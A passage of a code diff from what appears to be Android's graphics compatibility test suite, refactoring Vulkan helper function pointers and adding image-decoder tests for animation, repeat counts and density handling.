-          mInstance, "vkGetPhysicalDeviceFeatures2KHR");
-  ASSERT(getFeatures);
-  getFeatures(mGpu, &physicalDeviceFeatures);
+  vkGetPhysicalDeviceFeatures2(mGpu, &physicalDeviceFeatures);
   ASSERT(ycbcrFeatures.samplerYcbcrConversion == VK_TRUE);
 
   vkGetDeviceQueue(mDevice, 0, 0, &mQueue);
@@ -255,8 +294,7 @@
       .sType = VK_STRUCTURE_TYPE_ANDROID_HARDWARE_BUFFER_PROPERTIES_ANDROID,
       .pNext = &formatInfo,
   };
-  VK_CALL(mInit->getHardwareBufferPropertiesFn()(mInit->device(), buffer,
-                                                 &properties));
+  VK_CALL(mInit->mPfnGetAndroidHardwareBufferProperties(mInit->device(), buffer, &properties));
   ASSERT(useExternalFormat || formatInfo.format != VK_FORMAT_UNDEFINED);
   // Create an image to bind to our AHardwareBuffer.
   VkExternalFormatANDROID externalFormat{
@@ -319,11 +357,7 @@
   bindImageInfo.memory = mMemory;
   bindImageInfo.memoryOffset = 0;
 
-  PFN_vkBindImageMemory2KHR bindImageMemory =
-      (PFN_vkBindImageMemory2KHR)vkGetDeviceProcAddr(mInit->device(),
-                                                     "vkBindImageMemory2KHR");
-  ASSERT(bindImageMemory);
-  VK_CALL(bindImageMemory(mInit->device(), 1, &bindImageInfo));
+  VK_CALL(mInit->mPfnBindImageMemory2(mInit->device(), 1, &bindImageInfo));
 
   VkImageMemoryRequirementsInfo2 memReqsInfo;
   memReqsInfo.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_REQUIREMENTS_INFO_2;
@@ -338,11 +372,7 @@
   memReqs.sType = VK_STRUCTURE_TYPE_MEMORY_REQUIREMENTS_2;
   memReqs.pNext = &dedicatedMemReqs;
 
-  PFN_vkGetImageMemoryRequirements2KHR getImageMemoryRequirements =
-      (PFN_vkGetImageMemoryRequirements2KHR)vkGetDeviceProcAddr(
-          mInit->device(), "vkGetImageMemoryRequirements2KHR");
-  ASSERT(getImageMemoryRequirements);
-  getImageMemoryRequirements(mInit->device(), &memReqsInfo, &memReqs);
+  mInit->mPfnGetImageMemoryRequirements2(mInit->device(), &memReqsInfo, &memReqs);
   ASSERT(VK_TRUE == dedicatedMemReqs.prefersDedicatedAllocation);
   ASSERT(VK_TRUE == dedicatedMemReqs.requiresDedicatedAllocation);
 
@@ -359,12 +389,8 @@
         .chromaFilter = VK_FILTER_NEAREST,
         .forceExplicitReconstruction = VK_FALSE,
     };
-    PFN_vkCreateSamplerYcbcrConversionKHR createSamplerYcbcrConversion =
-        (PFN_vkCreateSamplerYcbcrConversionKHR)vkGetDeviceProcAddr(
-            mInit->device(), "vkCreateSamplerYcbcrConversionKHR");
-    ASSERT(createSamplerYcbcrConversion);
-    VK_CALL(createSamplerYcbcrConversion(mInit->device(), &conversionCreateInfo,
-                                         nullptr, &mConversion));
+    VK_CALL(mInit->mPfnCreateSamplerYcbcrConversion(mInit->device(), &conversionCreateInfo, nullptr,
+                                                    &mConversion));
   }
   VkSamplerYcbcrConversionInfo samplerConversionInfo{
       .sType = VK_STRUCTURE_TYPE_SAMPLER_YCBCR_CONVERSION_INFO,
@@ -431,12 +457,7 @@
         .handleType = VK_EXTERNAL_SEMAPHORE_HANDLE_TYPE_SYNC_FD_BIT,
         .fd = syncFd,
     };
-
-    PFN_vkImportSemaphoreFdKHR importSemaphoreFd =
-        (PFN_vkImportSemaphoreFdKHR)vkGetDeviceProcAddr(
-            mInit->device(), "vkImportSemaphoreFdKHR");
-    ASSERT(importSemaphoreFd);
-    VK_CALL(importSemaphoreFd(mInit->device(), &importSemaphoreInfo));
+    VK_CALL(mInit->mPfnImportSemaphoreFd(mInit->device(), &importSemaphoreInfo));
   }
 
   return true;
@@ -452,10 +473,7 @@
     mSampler = VK_NULL_HANDLE;
   }
   if (mConversion != VK_NULL_HANDLE) {
-    PFN_vkDestroySamplerYcbcrConversionKHR destroySamplerYcbcrConversion =
-        (PFN_vkDestroySamplerYcbcrConversionKHR)vkGetDeviceProcAddr(
-            mInit->device(), "vkDestroySamplerYcbcrConversionKHR");
-    destroySamplerYcbcrConversion(mInit->device(), mConversion, nullptr);
+    mInit->mPfnDestroySamplerYcbcrConversion(mInit->device(), mConversion, nullptr);
   }
   if (mMemory != VK_NULL_HANDLE) {
     vkFreeMemory(mInit->device(), mMemory, nullptr);
@@ -1090,7 +1108,7 @@
       mCmdBuffer, image, VK_PIPELINE_STAGE_TOP_OF_PIPE_BIT,
       VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT, 0, VK_ACCESS_SHADER_READ_BIT,
       VK_IMAGE_LAYOUT_UNDEFINED, VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL,
-      VK_QUEUE_FAMILY_EXTERNAL_KHR, mInit->queueFamilyIndex());
+      VK_QUEUE_FAMILY_FOREIGN_EXT, mInit->queueFamilyIndex());
 
   // Transition the destination texture for use as a framebuffer.
   addImageTransitionBarrier(
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.h b/tests/tests/graphics/jni/VulkanTestHelpers.h
index c7cc1ee..773f9a7 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.h
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.h
@@ -36,14 +36,16 @@
   VkQueue queue() { return mQueue; }
   VkPhysicalDevice gpu() { return mGpu; }
   uint32_t queueFamilyIndex() { return mQueueFamilyIndex; }
-  PFN_vkGetAndroidHardwareBufferPropertiesANDROID
-    getHardwareBufferPropertiesFn() {
-      return mPfnGetAndroidHardwareBufferPropertiesANDROID;
-    }
-
   uint32_t findMemoryType(uint32_t memoryTypeBitsRequirement,
                           VkFlags requirementsMask);
 
+  PFN_vkBindImageMemory2 mPfnBindImageMemory2 = nullptr;
+  PFN_vkGetImageMemoryRequirements2 mPfnGetImageMemoryRequirements2 = nullptr;
+  PFN_vkCreateSamplerYcbcrConversion mPfnCreateSamplerYcbcrConversion = nullptr;
+  PFN_vkDestroySamplerYcbcrConversion mPfnDestroySamplerYcbcrConversion = nullptr;
+  PFN_vkImportSemaphoreFdKHR mPfnImportSemaphoreFd = nullptr;
+  PFN_vkGetAndroidHardwareBufferPropertiesANDROID mPfnGetAndroidHardwareBufferProperties = nullptr;
+
 private:
   VkInstance mInstance = VK_NULL_HANDLE;
   VkPhysicalDevice mGpu = VK_NULL_HANDLE;
@@ -51,8 +53,6 @@
   VkQueue mQueue = VK_NULL_HANDLE;
   uint32_t mQueueFamilyIndex = 0;
   VkPhysicalDeviceMemoryProperties mMemoryProperties = {};
-  PFN_vkGetAndroidHardwareBufferPropertiesANDROID
-      mPfnGetAndroidHardwareBufferPropertiesANDROID = nullptr;
 };
 
 // Provides import of AHardwareBuffer.
diff --git a/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
index 637cecb..639d119 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
@@ -91,6 +91,10 @@
     ASSERT_NE(asset, nullptr);
     AssetCloser assetCloser(asset, AAsset_close);
 
+    AImageDecoder_delete(nullptr);
+
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
     {
         int result = AImageDecoder_createFromAAsset(asset, nullptr);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -166,6 +170,14 @@
         int result = AImageDecoder_setDataSpace(nullptr, dataSpace);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
     }
+
+    ASSERT_FALSE(AImageDecoder_isAnimated(nullptr));
+
+    {
+        int result = AImageDecoder_getRepeatCount(nullptr);
+        ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+    }
+#pragma clang diagnostic pop
 }
 
 static void testInfo(JNIEnv* env, jclass, jlong imageDecoderPtr, jint width, jint height,
@@ -532,8 +544,11 @@
 
     {
         // Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
         result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
 
         result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -850,8 +865,11 @@
 
     {
         // Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
         result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
 
         result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -1067,8 +1085,11 @@
 
     {
         // Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
         result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
 
         result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -1211,6 +1232,26 @@
     free(pixels);
 }
 
+static void testIsAnimated(JNIEnv* env, jclass, jlong imageDecoderPtr, jboolean animated) {
+    AImageDecoder* decoder = reinterpret_cast<AImageDecoder*>(imageDecoderPtr);
+    DecoderDeleter decoderDeleter(decoder, AImageDecoder_delete);
+
+    ASSERT_TRUE(decoder);
+    ASSERT_EQ(animated, AImageDecoder_isAnimated(decoder));
+}
+
+static void testRepeatCount(JNIEnv* env, jclass, jlong imageDecoderPtr, jint repeatCount) {
+    AImageDecoder* decoder = reinterpret_cast<AImageDecoder*>(imageDecoderPtr);
+    DecoderDeleter decoderDeleter(decoder, AImageDecoder_delete);
+
+    if (repeatCount == -1) { // AnimatedImageDrawable.REPEAT_INFINITE
+        repeatCount = ANDROID_IMAGE_DECODER_INFINITE;
+    }
+
+    ASSERT_TRUE(decoder);
+    ASSERT_EQ(repeatCount, AImageDecoder_getRepeatCount(decoder));
+}
+
 #define ASSET_MANAGER "Landroid/content/res/AssetManager;"
 #define STRING "Ljava/lang/String;"
 #define BITMAP "Landroid/graphics/Bitmap;"
@@ -1239,6 +1280,8 @@
     { "nTestDecodeCrop", "(J" BITMAP "IIIIII)V", (void*) testDecodeCrop },
     { "nTestScalePlusUnpremul", "(J)V", (void*) testScalePlusUnpremul },
     { "nTestDecode", "(J" BITMAP "I)V", (void*) testDecodeSetDataSpace },
+    { "nTestIsAnimated", "(JZ)V", (void*) testIsAnimated },
+    { "nTestRepeatCount", "(JI)V", (void*) testRepeatCount },
 };
 
 int register_android_graphics_cts_AImageDecoderTest(JNIEnv* env) {
diff --git a/tests/tests/graphics/jni/android_graphics_cts_FrameRateCtsActivity.cpp b/tests/tests/graphics/jni/android_graphics_cts_FrameRateCtsActivity.cpp
index e33f7f6..b035fea 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_FrameRateCtsActivity.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_FrameRateCtsActivity.cpp
@@ -156,12 +156,13 @@
 };
 
 jint nativeWindowSetFrameRate(JNIEnv* env, jclass, jobject jSurface, jfloat frameRate,
-                              jint compatibility) {
+                              jint compatibility, jint changeFrameRateStrategy) {
     ANativeWindow* window = nullptr;
     if (jSurface) {
         window = ANativeWindow_fromSurface(env, jSurface);
     }
-    return ANativeWindow_setFrameRate(window, frameRate, compatibility);
+    return ANativeWindow_setFrameRateWithChangeStrategy(window, frameRate, compatibility,
+            changeFrameRateStrategy);
 }
 
 jlong surfaceControlCreate(JNIEnv* env, jclass, jobject jParentSurface, jstring jName, jint left,
@@ -195,11 +196,12 @@
 }
 
 void surfaceControlSetFrameRate(JNIEnv*, jclass, jlong surfaceControlLong, jfloat frameRate,
-                                int compatibility) {
+                                jint compatibility, jint changeFrameRateStrategy) {
     ASurfaceControl* surfaceControl =
             reinterpret_cast<Surface*>(surfaceControlLong)->getSurfaceControl();
     ASurfaceTransaction* transaction = ASurfaceTransaction_create();
-    ASurfaceTransaction_setFrameRate(transaction, surfaceControl, frameRate, compatibility);
+    ASurfaceTransaction_setFrameRateWithChangeStrategy(transaction, surfaceControl, frameRate,
+            compatibility, changeFrameRateStrategy);
     ASurfaceTransaction_apply(transaction);
     ASurfaceTransaction_delete(transaction);
 }
@@ -239,12 +241,12 @@
 }
 
 const std::array<JNINativeMethod, 6> JNI_METHODS = {{
-        {"nativeWindowSetFrameRate", "(Landroid/view/Surface;FI)I",
+        {"nativeWindowSetFrameRate", "(Landroid/view/Surface;FII)I",
          (void*)nativeWindowSetFrameRate},
         {"nativeSurfaceControlCreate", "(Landroid/view/Surface;Ljava/lang/String;IIII)J",
          (void*)surfaceControlCreate},
         {"nativeSurfaceControlDestroy", "(J)V", (void*)surfaceControlDestroy},
-        {"nativeSurfaceControlSetFrameRate", "(JFI)V", (void*)surfaceControlSetFrameRate},
+        {"nativeSurfaceControlSetFrameRate", "(JFII)V", (void*)surfaceControlSetFrameRate},
         {"nativeSurfaceControlSetVisibility", "(JZ)V", (void*)surfaceControlSetVisibility},
         {"nativeSurfaceControlPostBuffer", "(JI)Z", (void*)surfaceControlPostBuffer},
 }};
diff --git a/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp b/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
index 8d50dfd..551611f 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
@@ -29,14 +29,16 @@
 
 namespace {
 
-jboolean validatePixelValues(JNIEnv* env, jboolean setPreTransform, jint preTransformHint) {
+jboolean validatePixelValues(JNIEnv* env, jint width, jint height, jboolean setPreTransform,
+                             jint preTransformHint) {
     jclass clazz = env->FindClass("android/graphics/cts/VulkanPreTransformTest");
-    jmethodID mid = env->GetStaticMethodID(clazz, "validatePixelValuesAfterRotation", "(ZI)Z");
+    jmethodID mid = env->GetStaticMethodID(clazz, "validatePixelValuesAfterRotation", "(IIZI)Z");
     if (mid == 0) {
         ALOGE("Failed to find method ID");
         return false;
     }
-    return env->CallStaticBooleanMethod(clazz, mid, setPreTransform, preTransformHint);
+    return env->CallStaticBooleanMethod(clazz, mid, width, height, setPreTransform,
+                                        preTransformHint);
 }
 
 void createNativeTest(JNIEnv* env, jclass /*clazz*/, jobject jAssetManager, jobject jSurface,
@@ -72,7 +74,10 @@
         }
     }
 
-    ASSERT(validatePixelValues(env, setPreTransform, preTransformHint), "Not properly rotated");
+    const VkExtent2D surfaceSize = swapchainInfo.surfaceSize();
+    ASSERT(validatePixelValues(env, surfaceSize.width, surfaceSize.height, setPreTransform,
+                               preTransformHint),
+           "Not properly rotated");
 }
 
 const std::array<JNINativeMethod, 1> JNI_METHODS = {{
diff --git a/tests/tests/graphics/res/drawable/animated_webp.webp b/tests/tests/graphics/res/drawable/animated_webp.webp
new file mode 100644
index 0000000..2d28dbf
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/animated_webp.webp
Binary files differ
diff --git a/tests/tests/graphics/res/font/a3em.ttf b/tests/tests/graphics/res/font/a3em.ttf
index a601ce2..e7814db 100644
--- a/tests/tests/graphics/res/font/a3em.ttf
+++ b/tests/tests/graphics/res/font/a3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
index 472fa25..536d7f4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
@@ -33,10 +33,12 @@
 import android.graphics.ColorSpace.Named;
 import android.graphics.ImageDecoder;
 import android.graphics.Rect;
+import android.graphics.drawable.cts.AnimatedImageDrawableTest;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
 import android.system.ErrnoException;
 import android.system.Os;
+import android.util.DisplayMetrics;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -296,6 +298,20 @@
         }
     }
 
+    private static Bitmap decode(int resId, boolean unpremul) {
+        // This test relies on ImageDecoder *not* scaling to account for density.
+        // Temporarily change the DisplayMetrics to prevent that scaling.
+        Resources res = getResources();
+        final int originalDensity = res.getDisplayMetrics().densityDpi;
+        try {
+            res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_DEFAULT;
+            ImageDecoder.Source src = ImageDecoder.createSource(res, resId);
+            return decode(src, unpremul);
+        } finally {
+            res.getDisplayMetrics().densityDpi = originalDensity;
+        }
+    }
+
     @Test
     @Parameters(method = "getAssetRecordsUnpremul")
     public void testDecode(ImageDecoderTest.AssetRecord record, boolean unpremul) {
@@ -314,9 +330,7 @@
     @Parameters(method = "getRecordsUnpremul")
     public void testDecodeResources(ImageDecoderTest.Record record, boolean unpremul)
             throws IOException {
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                record.resId);
-        Bitmap bm = decode(src, unpremul);
+        Bitmap bm = decode(record.resId, unpremul);
         try (ParcelFileDescriptor pfd = open(record.resId)) {
             long aimagedecoder = nCreateFromFd(pfd.getFd());
 
@@ -349,6 +363,20 @@
         }
     }
 
+    private static Bitmap decode(int resId, Bitmap.Config config) {
+        // This test relies on ImageDecoder *not* scaling to account for density.
+        // Temporarily change the DisplayMetrics to prevent that scaling.
+        Resources res = getResources();
+        final int originalDensity = res.getDisplayMetrics().densityDpi;
+        try {
+            res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_DEFAULT;
+            ImageDecoder.Source src = ImageDecoder.createSource(res, resId);
+            return decode(src, config);
+        } finally {
+            res.getDisplayMetrics().densityDpi = originalDensity;
+        }
+    }
+
     @Test
     @Parameters(method = "getAssetRecords")
     public void testDecode565(ImageDecoderTest.AssetRecord record) {
@@ -371,9 +399,7 @@
     @Parameters(method = "getRecords")
     public void testDecode565Resources(ImageDecoderTest.Record record)
             throws IOException {
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                record.resId);
-        Bitmap bm = decode(src, Bitmap.Config.RGB_565);
+        Bitmap bm = decode(record.resId, Bitmap.Config.RGB_565);
 
         if (bm.getConfig() != Bitmap.Config.RGB_565) {
             bm = null;
@@ -410,9 +436,7 @@
     public void testDecodeA8Resources()
             throws IOException {
         final int resId = R.drawable.grayscale_jpg;
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                resId);
-        Bitmap bm = decode(src, Bitmap.Config.ALPHA_8);
+        Bitmap bm = decode(resId, Bitmap.Config.ALPHA_8);
 
         assertNotNull(bm);
         assertNull(bm.getColorSpace());
@@ -577,13 +601,17 @@
             // SkRawCodec does not support sampling.
             return;
         }
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                record.resId);
-        String name = Utils.getAsResourceUri(record.resId).toString();
+        testComputeSampledSizeInternal(record.resId, sampleSize);
+    }
+
+    private void testComputeSampledSizeInternal(int resId, int sampleSize)
+            throws IOException {
+        ImageDecoder.Source src = ImageDecoder.createSource(getResources(), resId);
+        String name = Utils.getAsResourceUri(resId).toString();
         Bitmap bm = decodeSampled(name, src, sampleSize);
         assertNotNull(bm);
 
-        try (ParcelFileDescriptor pfd = open(record.resId)) {
+        try (ParcelFileDescriptor pfd = open(resId)) {
             long aimagedecoder = nCreateFromFd(pfd.getFd());
 
             nTestComputeSampledSize(aimagedecoder, bm, sampleSize);
@@ -592,6 +620,17 @@
         }
     }
 
+    private static Object[] getExifsSample() {
+        return Utils.crossProduct(getExifImages(), new Object[] { 2, 3, 4, 8, 16 });
+    }
+
+    @Test
+    @Parameters(method = "getExifsSample")
+    public void testComputeSampledSizeExif(int resId, int sampleSize)
+            throws IOException {
+        testComputeSampledSizeInternal(resId, sampleSize);
+    }
+
     private Bitmap decodeScaled(String name, ImageDecoder.Source src) {
         try {
             return ImageDecoder.decodeBitmap(src, (decoder, info, source) -> {
@@ -751,6 +790,20 @@
         }
     }
 
+    private static Bitmap decodeCropped(String name, Cropper cropper, int resId) {
+        // This test relies on ImageDecoder *not* scaling to account for density.
+        // Temporarily change the DisplayMetrics to prevent that scaling.
+        Resources res = getResources();
+        final int originalDensity = res.getDisplayMetrics().densityDpi;
+        try {
+            res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_DEFAULT;
+            ImageDecoder.Source src = ImageDecoder.createSource(res, resId);
+            return decodeCropped(name, cropper, src);
+        } finally {
+            res.getDisplayMetrics().densityDpi = originalDensity;
+        }
+    }
+
     @Test
     @Parameters(method = "getAssetRecords")
     public void testCrop(ImageDecoderTest.AssetRecord record) {
@@ -771,11 +824,9 @@
     @Parameters(method = "getRecords")
     public void testCropResource(ImageDecoderTest.Record record)
             throws IOException {
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                record.resId);
         String name = Utils.getAsResourceUri(record.resId).toString();
         Cropper cropper = new Cropper(false /* scale */);
-        Bitmap bm = decodeCropped(name, cropper, src);
+        Bitmap bm = decodeCropped(name, cropper, record.resId);
         assertNotNull(bm);
 
         try (ParcelFileDescriptor pfd = open(record.resId)) {
@@ -859,6 +910,20 @@
         assertEquals(100, bm.getWidth());
         assertEquals(80,  bm.getHeight());
 
+        // First verify that the info (and in particular, the width and height)
+        // are correct. This uses a separate ParcelFileDescriptor/aimagedecoder
+        // because the native methods delete the aimagedecoder.
+        try (ParcelFileDescriptor pfd = open(resId)) {
+            long aimagedecoder = nCreateFromFd(pfd.getFd());
+
+            String mimeType = uri.toString().contains("webp") ? "image/webp" : "image/jpeg";
+            nTestInfo(aimagedecoder, 100, 80, mimeType, false,
+                    DataSpace.fromColorSpace(bm.getColorSpace()));
+        } catch (FileNotFoundException e) {
+            e.printStackTrace();
+            fail("Could not open " + uri + " to check info");
+        }
+
         try (ParcelFileDescriptor pfd = open(resId)) {
             long aimagedecoder = nCreateFromFd(pfd.getFd());
 
@@ -1028,6 +1093,78 @@
         nCloseAsset(asset);
     }
 
+    @Test
+    @Parameters(method = "getAssetRecords")
+    public void testNotAnimatedAssets(ImageDecoderTest.AssetRecord record) {
+        long asset = nOpenAsset(getAssetManager(), record.name);
+        long aimagedecoder = nCreateFromAsset(asset);
+
+        nTestIsAnimated(aimagedecoder, false);
+        nCloseAsset(asset);
+    }
+
+    @Test
+    @Parameters(method = "getRecords")
+    public void testNotAnimated(ImageDecoderTest.Record record) throws IOException {
+        try (ParcelFileDescriptor pfd = open(record.resId)) {
+            long aimagedecoder = nCreateFromFd(pfd.getFd());
+
+            nTestIsAnimated(aimagedecoder, false);
+        } catch (FileNotFoundException e) {
+            fail("Could not open " + Utils.getAsResourceUri(record.resId));
+        }
+    }
+
+    private static Object[] getAnimatedImagesPlusRepeatCounts() {
+        return AnimatedImageDrawableTest.parametersForTestEncodedRepeats();
+    }
+
+    // Although these images have an encoded repeat count, they have only one frame,
+    // so they are not considered animated.
+    @Test
+    @Parameters({"still_with_loop_count.gif", "webp_still_with_loop_count.webp"})
+    public void testStill(String name) {
+        long asset = nOpenAsset(getAssetManager(), name);
+        long aimagedecoder = nCreateFromAsset(asset);
+
+        nTestIsAnimated(aimagedecoder, false);
+        nCloseAsset(asset);
+    }
+
+    @Test
+    @Parameters(method = "getAnimatedImagesPlusRepeatCounts")
+    public void testAnimated(int resId, int unused) throws IOException {
+        try (ParcelFileDescriptor pfd = open(resId)) {
+            long aimagedecoder = nCreateFromFd(pfd.getFd());
+
+            nTestIsAnimated(aimagedecoder, true);
+        } catch (FileNotFoundException e) {
+            fail("Could not open " + Utils.getAsResourceUri(resId));
+        }
+    }
+
+    @Test
+    @Parameters(method = "getAnimatedImagesPlusRepeatCounts")
+    public void testRepeatCount(int resId, int repeatCount) throws IOException {
+        try (ParcelFileDescriptor pfd = open(resId)) {
+            long aimagedecoder = nCreateFromFd(pfd.getFd());
+
+            nTestRepeatCount(aimagedecoder, repeatCount);
+        } catch (FileNotFoundException e) {
+            fail("Could not open " + Utils.getAsResourceUri(resId));
+        }
+    }
+
+    @Test
+    @Parameters({"still_with_loop_count.gif, 1", "webp_still_with_loop_count.webp,31999"})
+    public void testRepeatCountStill(String name, int repeatCount) {
+        long asset = nOpenAsset(getAssetManager(), name);
+        long aimagedecoder = nCreateFromAsset(asset);
+
+        nTestRepeatCount(aimagedecoder, repeatCount);
+        nCloseAsset(asset);
+    }
+
     // Return a pointer to the native AAsset named |file|. Must be closed with nCloseAsset.
     // Throws an Exception on failure.
     private static native long nOpenAsset(AssetManager assets, String file);
@@ -1070,4 +1207,6 @@
             int cropLeft, int cropTop, int cropRight, int cropBottom);
     private static native void nTestScalePlusUnpremul(long aimagedecoder);
     private static native void nTestDecode(long aimagedecoder, Bitmap bm, int dataSpace);
+    private static native void nTestIsAnimated(long aimagedecoder, boolean animated);
+    private static native void nTestRepeatCount(long aimagedecoder, int repeatCount);
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index 55a7ac1..8766d87 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -51,6 +52,8 @@
 import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileDescriptor;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -149,7 +152,7 @@
             InputStream is = obtainInputStream(RES_IDS[i]);
             try {
                 BitmapRegionDecoder decoder =
-                        BitmapRegionDecoder.newInstance(is, false);
+                        BitmapRegionDecoder.newInstance(is);
                 assertEquals(WIDTHS[i], decoder.getWidth());
                 assertEquals(HEIGHTS[i], decoder.getHeight());
             } catch (IOException e) {
@@ -169,7 +172,7 @@
             byte[] imageData = obtainByteArray(RES_IDS[i]);
             try {
                 BitmapRegionDecoder decoder = BitmapRegionDecoder
-                        .newInstance(imageData, 0, imageData.length, false);
+                        .newInstance(imageData, 0, imageData.length);
                 assertEquals(WIDTHS[i], decoder.getWidth());
                 assertEquals(HEIGHTS[i], decoder.getHeight());
             } catch (IOException e) {
@@ -184,15 +187,14 @@
         for (int i = 0; i < RES_IDS.length; ++i) {
             String filepath = obtainPath(i);
             ParcelFileDescriptor pfd = obtainParcelDescriptor(filepath);
-            FileDescriptor fd = pfd.getFileDescriptor();
             try {
                 BitmapRegionDecoder decoder1 =
-                        BitmapRegionDecoder.newInstance(filepath, false);
+                        BitmapRegionDecoder.newInstance(filepath);
                 assertEquals(WIDTHS[i], decoder1.getWidth());
                 assertEquals(HEIGHTS[i], decoder1.getHeight());
 
                 BitmapRegionDecoder decoder2 =
-                        BitmapRegionDecoder.newInstance(fd, false);
+                        BitmapRegionDecoder.newInstance(pfd);
                 assertEquals(WIDTHS[i], decoder2.getWidth());
                 assertEquals(HEIGHTS[i], decoder2.getHeight());
             } catch (IOException e) {
@@ -213,7 +215,7 @@
                     opts.inPreferredConfig = COLOR_CONFIGS[k];
 
                     InputStream is1 = obtainInputStream(RES_IDS[i]);
-                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
                     InputStream is2 = obtainInputStream(RES_IDS[i]);
                     Bitmap wholeImage = BitmapFactory.decodeStream(is2, null, opts);
 
@@ -241,7 +243,7 @@
                     opts.inBitmap = null;
 
                     InputStream is1 = obtainInputStream(RES_IDS[i]);
-                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
                     InputStream is2 = obtainInputStream(RES_IDS[i]);
                     Bitmap wholeImage = BitmapFactory.decodeStream(is2, null, opts);
 
@@ -273,7 +275,7 @@
 
                     byte[] imageData = obtainByteArray(RES_IDS[i]);
                     BitmapRegionDecoder decoder = BitmapRegionDecoder
-                            .newInstance(imageData, 0, imageData.length, false);
+                            .newInstance(imageData, 0, imageData.length);
                     Bitmap wholeImage = BitmapFactory.decodeByteArray(imageData,
                             0, imageData.length, opts);
 
@@ -300,8 +302,7 @@
                     opts.inSampleSize = SAMPLESIZES[j];
                     opts.inPreferredConfig = COLOR_CONFIGS[k];
 
-                    BitmapRegionDecoder decoder =
-                        BitmapRegionDecoder.newInstance(filepath, false);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(filepath);
                     Bitmap wholeImage = BitmapFactory.decodeFile(filepath, opts);
                     if (RES_IDS[i] == R.drawable.webp_test && COLOR_CONFIGS[k] == Config.RGB_565) {
                         compareRegionByRegion(decoder, opts, MSE_MARGIN_WEB_P_CONFIG_RGB_565,
@@ -311,10 +312,7 @@
                     }
 
                     ParcelFileDescriptor pfd1 = obtainParcelDescriptor(filepath);
-                    FileDescriptor fd1 = pfd1.getFileDescriptor();
-                    decoder = BitmapRegionDecoder.newInstance(fd1, false);
-                    ParcelFileDescriptor pfd2 = obtainParcelDescriptor(filepath);
